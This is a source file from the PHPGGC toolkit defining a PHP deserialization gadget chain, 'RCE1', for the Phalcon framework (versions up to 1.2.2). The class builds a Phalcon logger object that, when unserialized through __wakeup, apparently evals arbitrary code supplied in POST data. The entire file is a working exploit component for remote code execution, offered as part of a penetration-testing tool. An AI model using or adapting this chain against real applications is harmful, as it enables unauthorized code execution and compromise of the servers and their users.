Codebase list phpggc / ecaec332-bcea-44bf-b68c-1e148d846545/upstream/0.20221129 gadgetchains / Phalcon / RCE / 1 / chain.php
ecaec332-bcea-44bf-b68c-1e148d846545/upstream/0.20221129

Tree @ecaec332-bcea-44bf-b68c-1e148d846545/upstream/0.20221129 (Download .tar.gz)

chain.php @ecaec332-bcea-44bf-b68c-1e148d846545/upstream/0.20221129raw · history · blame

<?php

namespace GadgetChain\Phalcon;

class RCE1 extends \PHPGGC\GadgetChain\RCE
{
    public static $version = '<= 1.2.2';
    public static $vector = '__wakeup';
    public static $author = 'Raz0r';
    public static $information = '
        This chain does not expect parameters, will eval() any code supplied in 
        php://input (i.e. POST data). Requires allow_url_include = true.
    ';

    # No parameters expected
    public static $parameters = [];

    public function generate(array $parameters)
    {
        return new \Phalcon\Logger\Adapter\File();
    }

    public function test_setup()
    {
        throw new \PHPGGC\Exception("This GC cannot be tested.");
    }
}